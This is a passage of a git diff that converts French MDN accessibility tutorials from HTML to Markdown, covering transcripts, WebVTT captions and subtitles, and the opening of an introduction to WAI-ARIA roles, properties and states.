<li>Services commerciaux - Vous pouvez payer un professionnel pour effectuer la transcription, voir par exemple des entreprises telles que <a href="https://scribie.com/">Scribie</a>, <a href="https://castingwords.com/">Casting Words</a>, ou <a href="https://www.rev.com/">Rev</a>. Regardez autour de vous et demandez conseil pour vous assurer de trouver une entreprise fiable avec laquelle vous pourrez travailler efficacement.</li> - <li>Communauté / base / auto-transcription - Si vous faites partie d'une communauté ou d'une équipe active sur votre lieu de travail, vous pouvez leur demander de l'aide pour faire les traductions. Vous pouvez même essayer de les faire vous-même.</li> - <li>Services automatisés - Des services d'intelligence artificielle sont disponibles, tels que <a href="https://trint.com">Trint</a>. Téléchargez un fichier vidéo / audio sur le site, qui le transcrivera automatiquement pour vous. Sur YouTube, vous pouvez choisir de générer des sous-titres / transcriptions automatisés. Selon la clarté de l'audio parlé, la qualité de la transcription résultante variera considérablement. . </li> -</ul> +En termes de création de la transcription, vos options sont les suivantes: -<p>Comme dans la plupart des choses de la vie, vous avez tendance à avoir ce que vous payez. la précision et le temps requis pour produire la transcription varient selon les services. Si vous payez une transcription pour une entreprise digne de confiance ou un service d’AI, vous le ferez probablement rapidement et avec une qualité élevée. Si vous ne voulez pas payer pour cela, vous le ferez probablement avec une qualité inférieure et / ou lentement.</p> +- Services commerciaux - Vous pouvez payer un professionnel pour effectuer la transcription, voir par exemple des entreprises telles que [Scribie](https://scribie.com/), [Casting Words](https://castingwords.com/), ou [Rev](https://www.rev.com/). Regardez autour de vous et demandez conseil pour vous assurer de trouver une entreprise fiable avec laquelle vous pourrez travailler efficacement. +- Communauté / base / auto-transcription - Si vous faites partie d'une communauté ou d'une équipe active sur votre lieu de travail, vous pouvez leur demander de l'aide pour faire les traductions. Vous pouvez même essayer de les faire vous-même. +- Services automatisés - Des services d'intelligence artificielle sont disponibles, tels que [Trint](https://trint.com). Téléchargez un fichier vidéo / audio sur le site, qui le transcrivera automatiquement pour vous. Sur YouTube, vous pouvez choisir de générer des sous-titres / transcriptions automatisés. Selon la clarté de l'audio parlé, la qualité de la transcription résultante variera considérablement. . -<p>Il n’est pas acceptable de publier une ressource audio mais de promettre de publier la transcription ultérieurement. De telles promesses ne sont souvent pas tenues, ce qui érodera la confiance entre vous et vos utilisateurs. Si le son que vous présentez ressemble à une réunion en face-à-face ou à une performance parlée en direct, il serait acceptable de prendre des notes pendant la performance, de les publier intégralement avec l'audio, puis de demander de l'aide pour les nettoyer par la suite.</p> +Comme dans la plupart des choses de la vie, vous avez tendance à avoir ce que vous payez. la précision et le temps requis pour produire la transcription varient selon les services. Si vous payez une transcription pour une entreprise digne de confiance ou un service d’AI, vous le ferez probablement rapidement et avec une qualité élevée. Si vous ne voulez pas payer pour cela, vous le ferez probablement avec une qualité inférieure et / ou lentement. -<h3 id="Exemples_de_transcription">Exemples de transcription</h3> +Il n’est pas acceptable de publier une ressource audio mais de promettre de publier la transcription ultérieurement. De telles promesses ne sont souvent pas tenues, ce qui érodera la confiance entre vous et vos utilisateurs. Si le son que vous présentez ressemble à une réunion en face-à-face ou à une performance parlée en direct, il serait acceptable de prendre des notes pendant la performance, de les publier intégralement avec l'audio, puis de demander de l'aide pour les nettoyer par la suite. -<p>Si vous utilisez un service automatisé, vous devrez probablement utiliser l'interface utilisateur fournie par l'outil. Par exemple, jetez un coup d’œil à <a href="https://www.youtube.com/watch?v=zFFBsj97Od8">Audio Transcription Sample 1</a> <em>et choisissez plus > Transcript</em>.</p> +### Exemples de transcription -<p>Si vous créez votre propre interface utilisateur pour présenter votre audio et la transcription associée, vous pouvez le faire comme bon vous semble, mais il serait peut-être judicieux de l'inclure dans un panneau pouvant être affiché / masqué; voir notre exemple <a href="https://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/">transcription audio-ui</a> exemple (voir aussi le <a href="https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui">code source</a>).</p> +Si vous utilisez un service automatisé, vous devrez probablement utiliser l'interface utilisateur fournie par l'outil. Par exemple, jetez un coup d’œil à [Audio Transcription Sample 1](https://www.youtube.com/watch?v=zFFBsj97Od8) _et choisissez plus > Transcript_. -<h3 id="Descriptions_audio">Descriptions audio</h3> +Si vous créez votre propre interface utilisateur pour présenter votre audio et la transcription associée, vous pouvez le faire comme bon vous semble, mais il serait peut-être judicieux de l'inclure dans un panneau pouvant être affiché / masqué; voir notre exemple [transcription audio-ui](https://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/) exemple (voir aussi le [code source](https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui)). -<p>Dans les cas où des éléments visuels accompagnent votre son, vous devez fournir une description de l’audio pour décrire ce contenu supplémentaire.</p> +### Descriptions audio -<p>Dans de nombreux cas, il s'agira simplement d'une vidéo. Dans ce cas, vous pouvez implémenter des légendes à l'aide des techniques décrites dans la section suivante de l'article.</p> +Dans les cas où des éléments visuels accompagnent votre son, vous devez fournir une description de l’audio pour décrire ce contenu supplémentaire. -<p>Cependant, il y a des cas extrêmes. Vous pouvez par exemple avoir un enregistrement audio d'une réunion qui fait référence à une ressource d'accompagnement telle qu'une feuille de calcul ou un graphique. Dans de tels cas, vous devez vous assurer que les ressources sont fournies avec la transcription audio +, et les lier spécifiquement aux endroits où elles sont mentionnées dans la transcription. Cela aidera évidemment tous les utilisateurs, pas seulement les sourds.</p> +Dans de nombreux cas, il s'agira simplement d'une vidéo. Dans ce cas, vous pouvez implémenter des légendes à l'aide des techniques décrites dans la section suivante de l'article. -<div class="note"> -<p><strong>Note :</strong> Une transcription audio aidera en général plusieurs groupes d'utilisateurs. En plus de permettre aux utilisateurs sourds d'accéder aux informations contenues dans l'audio, pensez à un utilisateur disposant d'une connexion à faible bande passante et qui trouverait que le téléchargement de l'audio est gênant. Pensez également à un utilisateur dans un environnement bruyant, comme un pub ou un bar, qui tente d'accéder à l'information mais ne l'entend pas par dessus le bruit.</p> -</div> +Cependant, il y a des cas extrêmes. Vous pouvez par exemple avoir un enregistrement audio d'une réunion qui fait référence à une ressource d'accompagnement telle qu'une feuille de calcul ou un graphique. Dans de tels cas, vous devez vous assurer que les ressources sont fournies avec la transcription audio +, et les lier spécifiquement aux endroits où elles sont mentionnées dans la transcription. Cela aidera évidemment tous les utilisateurs, pas seulement les sourds. -<h2 id="Pistes_de_texte_vidéo">Pistes de texte vidéo</h2> +> **Note :** Une transcription audio aidera en général plusieurs groupes d'utilisateurs. En plus de permettre aux utilisateurs sourds d'accéder aux informations contenues dans l'audio, pensez à un utilisateur disposant d'une connexion à faible bande passante et qui trouverait que le téléchargement de l'audio est gênant. Pensez également à un utilisateur dans un environnement bruyant, comme un pub ou un bar, qui tente d'accéder à l'information mais ne l'entend pas par dessus le bruit. -<p>Pour rendre la vidéo accessible aux sourds, aux aveugles ou même à d'autres groupes d'utilisateurs (par exemple, ceux dont la bande passante est faible ou qui ne comprennent pas la langue dans laquelle la vidéo est enregistrée), vous devez inclure des pistes de texte avec votre contenu vidéo. .</p> +## Pistes de texte vidéo -<div class="note"> -<p><strong>Note :</strong> Les pistes de texte sont également utiles pour n'importe quel utilisateur, pas seulement pour les personnes handicapées. Par exemple, certains utilisateurs peuvent ne pas être en mesure d’entendre le son car ils se trouvent dans des environnements bruyants (comme un bar bondé lorsqu’un match de sport est diffusé) ou peuvent ne pas déranger les autres s’ils sont dans un endroit calme (comme une bibliothèque). .)</p> -</div> +Pour rendre la vidéo accessible aux sourds, aux aveugles ou même à d'autres groupes d'utilisateurs (par exemple, ceux dont la bande passante est faible ou qui ne comprennent pas la langue dans laquelle la vidéo est enregistrée), vous devez inclure des pistes de texte avec votre contenu vidéo. . -<p>Ce n'est pas un nouveau concept - les sous-titres codés sont disponibles depuis assez longtemps dans les services de télévision:</p> +> **Note :** Les pistes de texte sont également utiles pour n'importe quel utilisateur, pas seulement pour les personnes handicapées. Par exemple, certains utilisateurs peuvent ne pas être en mesure d’entendre le son car ils se trouvent dans des environnements bruyants (comme un bar bondé lorsqu’un match de sport est diffusé) ou peuvent ne pas déranger les autres s’ils sont dans un endroit calme (comme une bibliothèque). .) -<p><img alt='Frame from an old-timey cartoon with closed captioning "Good work, Goldie. Keep it up!"' src="closed-captions.png"></p> +Ce n'est pas un nouveau concept - les sous-titres codés sont disponibles depuis assez longtemps dans les services de télévision: -<p>Alors que de nombreux pays proposent des films en anglais avec sous-titres écrits dans leur propre langue maternelle, des sous-titres en différentes langues sont souvent disponibles sur DVD, par exemple</p> + -<p><img alt='An English film with German subtitles "Emo, warum erkennst du nicht die Schonheit dieses Ortes?"' src="Subtitles_German.jpg"></p> +Alors que de nombreux pays proposent des films en anglais avec sous-titres écrits dans leur propre langue maternelle, des sous-titres en différentes langues sont souvent disponibles sur DVD, par exemple -<p>Il existe différents types de pistes de texte avec des objectifs différents. Les principaux que vous rencontrerez sont:</p> + -<ul> - <li>Sous-titres - pour le bénéfice des utilisateurs sourds qui ne peuvent pas entendre la piste audio, y compris les mots prononcés, et des informations contextuelles telles que le nom des personnes qui ont prononcé ces mots, si les personnes étaient en colère ou tristes et quelle ambiance la musique crée actuellement. .</li> - <li>Sous-titres - Inclut les traductions de la boîte de dialogue audio, pour les utilisateurs qui ne comprennent pas la langue parlée.</li> - <li>Descriptions - Celles-ci incluent des descriptions pour les personnes aveugles qui ne peuvent pas voir la vidéo, par exemple à quoi ressemble la scène.</li> - <li>Titres de chapitre - Marqueurs de chapitre destinés à aider l'utilisateur à naviguer dans la ressource multimédia.</li> -</ul> +Il existe différents types de pistes de texte avec des objectifs différents. Les principaux que vous rencontrerez sont: -<h3 id="Implémentation_de_pistes_de_texte_vidéo_HTML5">Implémentation de pistes de texte vidéo HTML5</h3> +- Sous-titres - pour le bénéfice des utilisateurs sourds qui ne peuvent pas entendre la piste audio, y compris les mots prononcés, et des informations contextuelles telles que le nom des personnes qui ont prononcé ces mots, si les personnes étaient en colère ou tristes et quelle ambiance la musique crée actuellement. . +- Sous-titres - Inclut les traductions de la boîte de dialogue audio, pour les utilisateurs qui ne comprennent pas la langue parlée. +- Descriptions - Celles-ci incluent des descriptions pour les personnes aveugles qui ne peuvent pas voir la vidéo, par exemple à quoi ressemble la scène. +- Titres de chapitre - Marqueurs de chapitre destinés à aider l'utilisateur à naviguer dans la ressource multimédia. -<p>Les pistes de texte à afficher avec une vidéo HTML5 doivent être écrites au format WebVTT, un format de texte contenant plusieurs chaînes de texte ainsi que des métadonnées, telles que l'heure à laquelle vous souhaitez afficher chaque chaîne de texte et même des informations de style / positionnement limitées. Ces chaînes de texte sont appelées cues .</p> +### Implémentation de pistes de texte vidéo HTML5 -<p>Un fichier WebVTT typique ressemblera à ceci:</p> +Les pistes de texte à afficher avec une vidéo HTML5 doivent être écrites au format WebVTT, un format de texte contenant plusieurs chaînes de texte ainsi que des métadonnées, telles que l'heure à laquelle vous souhaitez afficher chaque chaîne de texte et même des informations de style / positionnement limitées. Ces chaînes de texte sont appelées cues . -<pre>WEBVTT +Un fichier WebVTT typique ressemblera à ceci: -1 -00:00:22.230 --> 00:00:24.606 - Ceci est le premier sous-titre. + WEBVTT -2 -00:00:30.739 --> 00:00:34.074 - C'est le deuxième . + 1 + 00:00:22.230 --> 00:00:24.606 + Ceci est le premier sous-titre. - ...</pre> + 2 + 00:00:30.739 --> 00:00:34.074 + C'est le deuxième . -<p>Pour que ceci soit affiché avec la lecture du média HTML, vous devez:</p> + ... -<ul> - <li>Enregistrez-le en tant que fichier .vtt dans un endroit approprié.</li> - <li>Lien vers le fichier .vtt avec l'élément {{htmlelement("track")}} . <code><track></code> devrait être placé dans <code><audio></code> ou <code><video></code>, mais après tout <code><source></code> éléments . Utilisez l’attribut {{htmlattrxref ("kind", "track")}} pour indiquer si les signaux sont des sous-titres, des légendes ou des descriptions. De plus, utilisez {{htmlattrxref ("srclang", "track")}} pour indiquer au navigateur la langue dans laquelle vous avez écrit les sous-titres. .</li> -</ul> +Pour que ceci soit affiché avec la lecture du média HTML, vous devez: -<p>Voici un exemple:</p> +- Enregistrez-le en tant que fichier .vtt dans un endroit approprié. +- Lien vers le fichier .vtt avec l'élément {{htmlelement("track")}} . `<track>` devrait être placé dans `<audio>` ou `<video>`, mais après tout `<source>` éléments . Utilisez l’attribut {{htmlattrxref ("kind", "track")}} pour indiquer si les signaux sont des sous-titres, des légendes ou des descriptions. De plus, utilisez {{htmlattrxref ("srclang", "track")}} pour indiquer au navigateur la langue dans laquelle vous avez écrit les sous-titres. . -<pre class="brush: html"><video controls> - <source src="example.mp4" type="video/mp4"> - <source src="example.webm" type="video/webm"> - <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> -</video></pre> +Voici un exemple: -<p>Cela donnera une vidéo avec des sous-titres affichés, un peu comme ceci:</p> +```html +<video controls> + <source src="example.mp4" type="video/mp4"> + <source src="example.webm" type="video/webm"> + <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> +</video> +``` -<p><img alt='Video player with standard controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="video-player-with-captions.png"></p> +Cela donnera une vidéo avec des sous-titres affichés, un peu comme ceci: -<p>Pour plus de détails, veuillez lire <a href="/fr/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Ajouter des légendes et des sous titres à des vidéos HTML 5</a>. Vous trouverez <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">un exemple</a> qui accompagne cet article sur Github, écrit par Ian Devlin (voir aussi le <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">code source</a>.) Cet exemple utilise du JavaScript. pour permettre aux utilisateurs de choisir entre différents sous-titres. Notez que pour activer les sous-titres, vous devez appuyer sur le bouton "CC" et sélectionner une option - Anglais, Allemand ou Español.</p> + -<div class="note"> -<p><strong>Note :</strong> Les pistes de texte et les transcriptions vous aident également avec {{glossary ("SEO")}}, car les moteurs de recherche se développent particulièrement bien avec le texte. Les pistes de texte permettent même aux moteurs de recherche de se lier directement à un endroit en cours de vidéo.</p> -</div> +Pour plus de détails, veuillez lire [Ajouter des légendes et des sous titres à des vidéos HTML 5](/fr/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video). Vous trouverez [un exemple](http://iandevlin.github.io/mdn/video-player-with-captions/) qui accompagne cet article sur Github, écrit par Ian Devlin (voir aussi le [code source](https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions).) Cet exemple utilise du JavaScript. pour permettre aux utilisateurs de choisir entre différents sous-titres. Notez que pour activer les sous-titres, vous devez appuyer sur le bouton "CC" et sélectionner une option - Anglais, Allemand ou Español. -<h2 id="Autre_contenu_multimédia">Autre contenu multimédia</h2> +> **Note :** Les pistes de texte et les transcriptions vous aident également avec {{glossary ("SEO")}}, car les moteurs de recherche se développent particulièrement bien avec le texte. Les pistes de texte permettent même aux moteurs de recherche de se lier directement à un endroit en cours de vidéo. -<p>Les sections ci-dessus ne couvrent pas tous les types de contenu multimédia que vous pourriez vouloir placer sur une page Web. Vous devrez peut-être également gérer des jeux, des animations, des diaporamas, des vidéos intégrées et du contenu créé à l'aide d'autres technologies disponibles, telles que:</p> +## Autre contenu multimédia -<ul> - <li><a href="/fr/docs/Web/API/Canvas_API">HTML5 canvas</a></li> - <li>Flash</li> - <li>Silverlight</li> -</ul> +Les sections ci-dessus ne couvrent pas tous les types de contenu multimédia que vous pourriez vouloir placer sur une page Web. Vous devrez peut-être également gérer des jeux, des animations, des diaporamas, des vidéos intégrées et du contenu créé à l'aide d'autres technologies disponibles, telles que: -<p>Pour ce type de contenu, vous devez traiter les problèmes d’accessibilité au cas par cas. Dans certains cas, ce n'est pas si grave, par exemple:</p> +- [HTML5 canvas](/fr/docs/Web/API/Canvas_API) +- Flash +- Silverlight -<ul> - <li>Si vous intégrez du contenu audio à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez probablement simplement fournir une transcription audio de la même manière que celle décrite ci-dessus dans la section {{anch("Transcript examples")}} .</li> - <li>Si vous intégrez du contenu vidéo à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez tirer parti des techniques de sous-titrage / sous-titrage disponibles pour ces technologies. Par exemple, voir <a href="http://www.adobe.com/accessibility/products/flash/captions.html">Flash captions</a>, <a href="https://support.brightcove.com/en/video-cloud/docs/using-flash-only-player-api-closed-captioning">Using the Flash-Only Player API for Closed Captioning</a>, ou <a href="https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/">Playing Subtitles with Videos in Silverlight</a>.</li> -</ul> +Pour ce type de contenu, vous devez traiter les problèmes d’accessibilité au cas par cas. Dans certains cas, ce n'est pas si grave, par exemple: -<p>Cependant, il est difficile de rendre les autres multimédias accessibles. Si, par exemple, vous avez affaire à un jeu immersif en 3D ou à une application de réalité virtuelle, il est vraiment difficile de fournir des alternatives textuelles pour une telle expérience, et vous pouvez soutenir que les utilisateurs non-voyants ne sont pas vraiment dans le groupe-cible de telles applications.</p> +- Si vous intégrez du contenu audio à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez probablement simplement fournir une transcription audio de la même manière que celle décrite ci-dessus dans la section {{anch("Transcript examples")}} . +- Si vous intégrez du contenu vidéo à l'aide d'une technologie de plug-in telle que Flash ou Silverlight, vous pouvez tirer parti des techniques de sous-titrage / sous-titrage disponibles pour ces technologies. Par exemple, voir [Flash captions](http://www.adobe.com/accessibility/products/flash/captions.html), [Using the Flash-Only Player API for Closed Captioning](https://support.brightcove.com/en/video-cloud/docs/using-flash-only-player-api-closed-captioning), ou [Playing Subtitles with Videos in Silverlight](https://blogs.msdn.microsoft.com/anilkumargupta/2009/05/01/playing-subtitles-with-videos-in-silverlight/). -<p>Vous pouvez toutefois vous assurer qu'une telle application présente un contraste de couleur suffisant et une présentation claire de sorte qu'elle soit perceptible par les personnes ayant une vision basse / daltonisme, et qu'elle soit également accessible au clavier. Rappelez-vous que l'accessibilité consiste à faire tout ce que vous pouvez, plutôt que de chercher à atteindre une accessibilité à 100% tout le temps, ce qui est souvent impossible.</p> +Cependant, il est difficile de rendre les autres multimédias accessibles. Si, par exemple, vous avez affaire à un jeu immersif en 3D ou à une application de réalité virtuelle, il est vraiment difficile de fournir des alternatives textuelles pour une telle expérience, et vous pouvez soutenir que les utilisateurs non-voyants ne sont pas vraiment dans le groupe-cible de telles applications. -<h2 id="Résumé">Résumé</h2> +Vous pouvez toutefois vous assurer qu'une telle application présente un contraste de couleur suffisant et une présentation claire de sorte qu'elle soit perceptible par les personnes ayant une vision basse / daltonisme, et qu'elle soit également accessible au clavier. Rappelez-vous que l'accessibilité consiste à faire tout ce que vous pouvez, plutôt que de chercher à atteindre une accessibilité à 100% tout le temps, ce qui est souvent impossible. -<p>Ce chapitre présente un résumé des problèmes d’accessibilité des contenus multimédias, ainsi que des solutions pratiques.</p> +## Résumé -<p>{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}}</p> +Ce chapitre présente un résumé des problèmes d’accessibilité des contenus multimédias, ainsi que des solutions pratiques. -<h2 id="Dans_ce_module">Dans ce module</h2> +{{PreviousMenuNext("Learn/Accessibility/WAI-ARIA_basics","Learn/Accessibility/Mobile", "Learn/Accessibility")}} -<ul> - <li><a href="/fr/docs/Apprendre/a11y/What_is_accessibility">Qu'est ce que l'accessibilité?</a></li> - <li><a href="/fr/docs/Apprendre/a11y/HTML">HTML : une bonne base pour l'accessibilité</a></li> - <li><a href="/fr/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> - <li><a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> - <li><a href="/fr/docs/Apprendre/a11y/Multimedia">Accessible multimedia</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> - <li><a href="/fr/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> -</ul> +## Dans ce module +- [Qu'est ce que l'accessibilité?](/fr/docs/Apprendre/a11y/What_is_accessibility) +- [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML) +- [CSS and JavaScript accessibility best practices](/fr/docs/Learn/Accessibility/CSS_and_JavaScript) +- [WAI-ARIA basics](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) +- [Accessible multimedia](/fr/docs/Apprendre/a11y/Multimedia) +- [Mobile accessibility](/fr/docs/Learn/Accessibility/Mobile) +- [Accessibility troubleshooting](/fr/docs/Learn/Accessibility/Accessibility_troubleshooting) diff --git a/files/fr/learn/accessibility/wai-aria_basics/index.md b/files/fr/learn/accessibility/wai-aria_basics/index.md index c7821400cf..0a5b6227f1 100644 --- a/files/fr/learn/accessibility/wai-aria_basics/index.md +++ b/files/fr/learn/accessibility/wai-aria_basics/index.md @@ -15,309 +15,312 @@ tags: translation_of: Learn/Accessibility/WAI-ARIA_basics original_slug: Apprendre/a11y/WAI-ARIA_basics --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}} -<div>{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}</div> - -<p>Après l'article précédent, il peut être difficile de créer des contrôles UI complexes impliquant du code HTML non sémantique et du contenu dynamique mis à jour par JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser pour informer les utilisateurs de ce qui se passe. Nous montrerons ici comment l'utiliser au niveau de base pour améliorer l'accessibilité.</p> +Après l'article précédent, il peut être difficile de créer des contrôles UI complexes impliquant du code HTML non sémantique et du contenu dynamique mis à jour par JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser pour informer les utilisateurs de ce qui se passe. Nous montrerons ici comment l'utiliser au niveau de base pour améliorer l'accessibilité. <table class="standard-table"> - <tbody> - <tr> - <th scope="row"> Prerequis:</th> - <td>Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension des <a href="/fr/docs/Apprendre/a11y">articles précédents du cours</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec WAI-ARIA et savoir comment l'utiliser pour fournir une sémantique supplémentaire utile afin d'améliorer l'accessibilité, le cas échéant.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row"> Prerequis:</th> + <td> + Connaissances informatiques de base, une compréhension de base de HTML, + CSS et JavaScript, une compréhension des + <a href="/fr/docs/Apprendre/a11y">articles précédents du cours</a>. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec WAI-ARIA et savoir comment l'utiliser pour fournir + une sémantique supplémentaire utile afin d'améliorer l'accessibilité, le + cas échéant. + </td> + </tr> + </tbody> </table> -<h2 id="Qu'est_WAI-ARIA">Qu'est WAI-ARIA?</h2> +## Qu'est WAI-ARIA? -<p>Commençons par regarder ce que WAI-ARIA est , et ce qu’il peut faire pour nous.</p> +Commençons par regarder ce que WAI-ARIA est , et ce qu’il peut faire pour nous. -<h3 id="Un_nouvel_ensemble_de_problèmes">Un nouvel ensemble de problèmes</h3> +### Un nouvel ensemble de problèmes -<p>Car les applications web ont commencé à devenir plus complexes et dynamiques, un nouvel ensemble de fonctionnalités d'accessibilité et de problèmes ont commencé à apparaître.</p> +Car les applications web ont commencé à devenir plus complexes et dynamiques, un nouvel ensemble de fonctionnalités d'accessibilité et de problèmes ont commencé à apparaître. -<p>Par exemple, HTML5 a introduit un certain nombre d’éléments sémantiques pour définir des fonctionnalités de page communes ({{htmlelement("nav")}}, {{htmlelement("footer")}}, etc.) Avant de les utiliser, les développeurs utilisaient simplement {{htmlelement("div")}} s avec des identifiants ou des classes, par exemple <code><div class="nav"></code> , mais ils posaient problème, car il n’existait pas de moyen facile de trouver facilement une fonctionnalité de page spécifique telle que la navigation principale par programmation. .</p> +Par exemple, HTML5 a introduit un certain nombre d’éléments sémantiques pour définir des fonctionnalités de page communes ({{htmlelement("nav")}}, {{htmlelement("footer")}}, etc.) Avant de les utiliser, les développeurs utilisaient simplement {{htmlelement("div")}} s avec des identifiants ou des classes, par exemple `<div class="nav">` , mais ils posaient problème, car il n’existait pas de moyen facile de trouver facilement une fonctionnalité de page spécifique telle que la navigation principale par programmation. . -<p>La solution initiale consistait à ajouter un ou plusieurs liens cachés en haut de la page pour créer un lien vers la navigation (ou autre), par exemple:</p> +La solution initiale consistait à ajouter un ou plusieurs liens cachés en haut de la page pour créer un lien vers la navigation (ou autre), par exemple: -<pre class="brush: html"><a href="#hidden" class="hidden">Passer à la navigation</a></pre> +```html +<a href="#hidden" class="hidden">Passer à la navigation</a> +``` -<p>Mais ceci n’est pas encore très précis et ne peut être utilisé que lorsque le lecteur d’écran lit en haut de la page.</p> +Mais ceci n’est pas encore très précis et ne peut être utilisé que lorsque le lecteur d’écran lit en haut de la page. -<p>Autre exemple, les applications ont commencé à comporter des commandes complexes telles que des sélecteurs de date pour choisir les dates, des curseurs pour choisir des valeurs, etc. HTML5 fournit des types spéciaux input pour rendre de tels contrôles:</p> +Autre exemple, les applications ont commencé à comporter des commandes complexes telles que des sélecteurs de date pour choisir les dates, des curseurs pour choisir des valeurs, etc. HTML5 fournit des types spéciaux input pour rendre de tels contrôles: -<pre class="brush: html"><input type="date"> -<input type="range"></pre> +```html +<input type="date"> +<input type="range"> +``` -<p>Celles-ci ne sont pas bien prises en charge sur tous les navigateurs et il est également très difficile de les nommer, ce qui les rend peu utiles pour l'intégration aux conceptions de sites Web. En conséquence, les développeurs font souvent appel à des bibliothèques JavaScript qui génèrent des contrôles tels qu'une série d'éléments {{htmlelement("div")}} s imbriqués ou d'éléments de table avec des noms de classe, qui sont ensuite stylés à l'aide de CSS et contrôlés à l'aide de JavaScript.</p> +Celles-ci ne sont pas bien prises en charge sur tous les navigateurs et il est également très difficile de les nommer, ce qui les rend peu utiles pour l'intégration aux conceptions de sites Web. En conséquence, les développeurs font souvent appel à des bibliothèques JavaScript qui génèrent des contrôles tels qu'une série d'éléments {{htmlelement("div")}} s imbriqués ou d'éléments de table avec des noms de classe, qui sont ensuite stylés à l'aide de CSS et contrôlés à l'aide de JavaScript. -<p>Le problème ici est que, visuellement, ils fonctionnent, mais que les lecteurs d’écran ne peuvent pas comprendre ce qu’ils sont, et on dit aux utilisateurs qu’ils peuvent voir une multitude d’éléments sans sémantique pour décrire ce qu’ils veulent dire.</p> +Le problème ici est que, visuellement, ils fonctionnent, mais que les lecteurs d’écran ne peuvent pas comprendre ce qu’ils sont, et on dit aux utilisateurs qu’ils peuvent voir une multitude d’éléments sans sémantique pour décrire ce qu’ils veulent dire. -<h3 id="Entrez_WAI-ARIA">Entrez WAI-ARIA</h3> +### Entrez WAI-ARIA -<p><a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> est une spécification écrite par le W3C et définissant un ensemble d'attributs HTML supplémentaires pouvant être appliqués aux éléments pour fournir une sémantique supplémentaire et améliorer l'accessibilité en cas de manque. Trois caractéristiques principales sont définies dans la spécification:</p> +[WAI-ARIA](https://www.w3.org/TR/wai-aria-1.1/) est une spécification écrite par le W3C et définissant un ensemble d'attributs HTML supplémentaires pouvant être appliqués aux éléments pour fournir une sémantique supplémentaire et améliorer l'accessibilité en cas de manque. Trois caractéristiques principales sont définies dans la spécification: -<ul> - <li><strong>Rôles</strong> - Ceux-ci définissent ce qu'un élément est ou fait. Bon nombre de ces rôles sont des rôles de référence, qui dupliquent en grande partie la valeur sémantique des éléments structurels HTML5, par exemple role = "navigation" ({{htmlelement("nav")}}) ou <code>role="complementary"</code> ({{htmlelement("aside")}}) , mais il en existe d'autres qui décrivent différentes structures de pages, telles que <code>role="banner"</code>, <code>role="search"</code>, <code>role="tabgroup"</code>, <code>role="tab"</code>, etc., que l'on trouve couramment dans les UIs.</li> - <li><strong>Propriétés</strong> — Ceux-ci définissent les propriétés des éléments, qui peuvent être utilisés pour leur donner une signification supplémentaire ou une sémantique. Par exemple, <code>aria-required="true"</code> spécifie qu'une entrée de formulaire doit être renseignée pour être valide, alors que <code>aria-labelledby="label"</code> vous permet de mettre un ID sur un élément, puis de le référencer en tant qu'étiquette pour tout autre élément de la page, y compris plusieurs éléments, ce qui n'est pas possible avec <code><label for="input"></code>. À titre d'exemple, vous pouvez utiliser <code>aria-labelledby</code> pour spécifier qu'une description de clé contenue dans un {{htmlelement("div")}} est le label de plusieurs cellules de tableau, ou vous pouvez l’utiliser comme alternative au texte alternatif d’image — spécifiez les informations existantes sur la page en tant que texte alternatif d’image, plutôt que de devoir les répéter à l'intérieur de l'attribut <code>alt</code>. Vous pouvez voir un exemple de celà à <a href="/fr/docs/Apprendre/a11y/HTML?document_saved=true#Alternatives_textuelles">Alternatives textuelles</a>.</li> - <li><strong>États</strong> — Propriétés spéciales qui définissent les conditions actuelles des éléments, telles que <code>aria-disabled="true"</code>, qui spécifient à un lecteur d'écran que l'entrée de formulaire est actuellement désactivée. Les états diffèrent des propriétés en ce que les propriétés ne changent pas tout au long du cycle de vie d'une application, alors que les états peuvent changer, généralement par programmation via JavaScript.</li> -</ul> +- **Rôles** - Ceux-ci définissent ce qu'un élément est ou fait. Bon nombre de ces rôles sont des rôles de référence, qui dupliquent en grande partie la valeur sémantique des éléments structurels HTML5, par exemple role = "navigation" 